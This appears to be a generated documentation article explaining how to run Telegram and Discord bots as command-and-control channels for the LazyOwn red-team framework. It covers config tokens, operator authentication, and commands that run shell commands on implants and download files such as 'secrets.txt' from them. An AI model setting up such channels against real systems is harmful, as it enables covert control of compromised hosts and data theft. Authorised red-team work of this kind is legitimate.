How to Configure Multi-Channel C2 Communication with Telegram and Discord in LazyOwn
LazyOwn enables multi-channel C2 communication by running independent Telegram and Discord bots that authenticate operators via a shared secret defined in payload.json, forwarding commands to the internal shell and implant C2 server through the Flask API.
The LazyOwn framework exposes its command-and-control interface through popular messenger platforms, allowing operators to issue commands, transfer files, and monitor implant sessions without direct network access to the C2 server. By configuring the central payload.json file and launching the respective bot scripts, you can establish redundant C2 channels that maintain session state, enforce rate limiting, and validate operator identity using a single shared secret.
Architecture of Multi-Channel C2 in LazyOwn
Core Components
The multi-channel C2 system relies on three primary components implemented across telegram_c2.py and discord_c2.py:
payload.json: The central configuration file read by every LazyOwn module. It storestelegram_tokenanddiscord_tokenfor API authentication, boolean flags (enable_telegram_c2andenable_discord_c2) to toggle bot activation, and thec2_passshared secret used for operator authentication.Configclass: Loads the JSON payload and exposes values as attributes usingconfig = Config(load_payload())(lines 92‑93 in both bot files).SecureSessionManager: Handles per‑user session state, enforcing lock‑out afterMAX_FAILED_ATTEMPTS(3 failed logins) and rate limiting (RATE_LIMIT= 5 commands per minute) via methodscheck_lockout,check_rate_limit,create_session, andvalidate_session(lines 25‑78).
Both integrations use the same architecture but different messaging SDKs. Telegram uses python‑telegram‑bot with Application.builder().token(telegram_token).build() (line 80), while Discord uses discord.py with commands.Bot(command_prefix='!', intents=intents) (line 22).
Command and Control Flow
When an operator interacts with a bot, the system processes messages through a five-step pipeline:
- Authentication: The operator sends
/start <secret>(Telegram) or!start <secret>(Discord). The bot validates the secret againstc2_passand creates a session stored in theuser_gamesdictionary. - Command Interception: Subsequent text messages are captured by
exce_cmd(Telegram lines 16‑87, Discord lines 44‑88). - C2 Forwarding: If the message starts with
c2, the bot constructs anissue_command_to_c2 <client_id> <payload>string and relays it to the internalLazyOwnShellviashell.one_cmd. - Implant Execution: The shell forwards commands to the main C2 server (
lazyc2.py) via the Flask API endpointhttps://{lhost}:{c2_port}/get_connected_clients. - Response Retrieval: The bot reads the last row of the CSV log stored at
sessions/<client_id>.logto provide history, output, OS, and PID information.
File transfers follow a similar path. For uploads, the handle_file function (Telegram lines 101‑126, Discord lines 12‑37) saves attachments to sessions/temp_telegram/ before invoking upload_c2 <client_id> <path>. Downloads use the download_c2 command to retrieve files from implants.
Step-by-Step Configuration Guide
Generate Bot API Tokens
Before editing configuration files, obtain the necessary tokens from each platform:
- Telegram: Message BotFather, create a new bot, and copy the provided API token.
- Discord: Create a new application in the Discord Developer Portal, add a Bot, and copy the token from the Bot settings page.
Configure payload.json
Edit the payload.json file located at the repository root to enable both channels and set the shared authentication secret:
{
"telegram_token": "1234567890:ABCdefGHIjklMNOpqrSTUvwxyz",
"discord_token": "MTAxMDk...",
"enable_telegram_c2": true,
"enable_discord_c2": true,
"c2_pass": "SuperSecretPassword123",
"lhost": "0.0.0.0",
"c2_port": 8443
}
Both platforms use the same c2_pass value. The bots will auto‑exit if their respective enable_*_c2 flags are set to false.
Launch the Bot Processes
Start the bots from a Python virtual environment containing the required dependencies (python‑telegram‑bot, discord.py, requests):
python3 telegram_c2.py &
python3 discord_c2.py &
Each script checks the enable flags at import time (lines 92‑94). If enabled, the bots connect to their respective APIs and begin listening for operator commands. Both processes run independently from the main C2 server and only require network reachability to the Flask API endpoint.
Operator Interaction Workflow
Once bots are running, operators authenticate and issue commands using platform-specific prefixes:
Telegram Commands:
/start SuperSecretPassword123
/clients
c2 whoami
Discord Commands:
!start SuperSecretPassword123
!clients
!c2 ps aux
!download_c2 <client_id> secrets.txt
The !clients or /clients command queries the Flask API to display currently connected implants. Prefixing commands with c2 (or !c2 on Discord) routes them through the C2 server to specific implants, while unprefixed commands execute locally in the LazyOwn shell.
Automation Script for Multi-Channel Deployment
For operational efficiency, use a wrapper script to conditionally launch bots based on payload.json flags:
# start_c2_bots.py
import json
from pathlib import Path
import subprocess
import sys
payload_path = Path(__file__).parent / "payload.json"
with payload_path.open() as f:
cfg = json.load(f)
if cfg.get("enable_telegram_c2"):
print("[*] Starting Telegram C2 bot...")
subprocess.Popen([sys.executable, "telegram_c2.py"])
if cfg.get("enable_discord_c2"):
print("[*] Starting Discord C2 bot...")
subprocess.Popen([sys.executable, "discord_c2.py"])
Executing python3 start_c2_bots.py launches only the enabled channels as separate background processes, simplifying multi-channel C2 deployment.
Summary
- Centralized Configuration: All C2 settings reside in
payload.json, including toggle flags, API tokens, and the shared operator secret (c2_pass). - Dual-Channel Architecture:
telegram_c2.pyanddiscord_c2.pyimplement identical session management and command forwarding logic using their respective SDKs. - Security Controls: The
SecureSessionManagerenforces 3-attempt lockouts and 5-command-per-minute rate limiting to prevent brute force and flooding. - Command Routing: Messages prefixed with
c2are forwarded to implants via the Flask API, while local commands execute in the LazyOwn shell. - File Operations: Uploads are staged in
sessions/temp_telegram/before transfer; downloads retrieve files directly from implant sessions logged in CSV format.
Frequently Asked Questions
How does LazyOwn authenticate operators on Telegram and Discord?
LazyOwn authenticates operators using a shared secret (c2_pass) defined in payload.json. When an operator sends /start <secret> (Telegram) or !start <secret> (Discord), the bot validates the input against the configured password using the SecureSessionManager class. Upon successful validation, the bot creates a session with a random game token stored in user_games, granting access for the duration of the session timeout.
Can I enable only one C2 channel and disable the other?
Yes. Each channel operates independently based on boolean flags in payload.json. Set enable_telegram_c2 to true and enable_discord_c2 to false (or vice versa) to activate only the desired channel. The bot scripts check these flags at startup (lines 92‑94 in both telegram_c2.py and discord_c2.py) and will idle if their respective flag is disabled.
What is the rate limiting policy for C2 commands?
The SecureSessionManager enforces a hard limit of 5 commands per minute per operator session, defined by the RATE_LIMIT constant. Additionally, operators are locked out after 3 failed authentication attempts (MAX_FAILED_ATTEMPTS). These protections are implemented in lines 25‑78 of both bot files to prevent brute force attacks and command flooding.
How does the bot handle file uploads to implants?
When an operator attaches a file to an upload command (/addcli or !addcli), the handle_file function (Telegram lines 101‑126, Discord lines 12‑37) saves the attachment to a temporary directory (sessions/temp_telegram/). The bot then invokes the upload_c2 <client_id> <path> shell command, which transfers the file to the target implant through the existing C2 channel. Downloads follow the reverse path using the download_c2 command.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →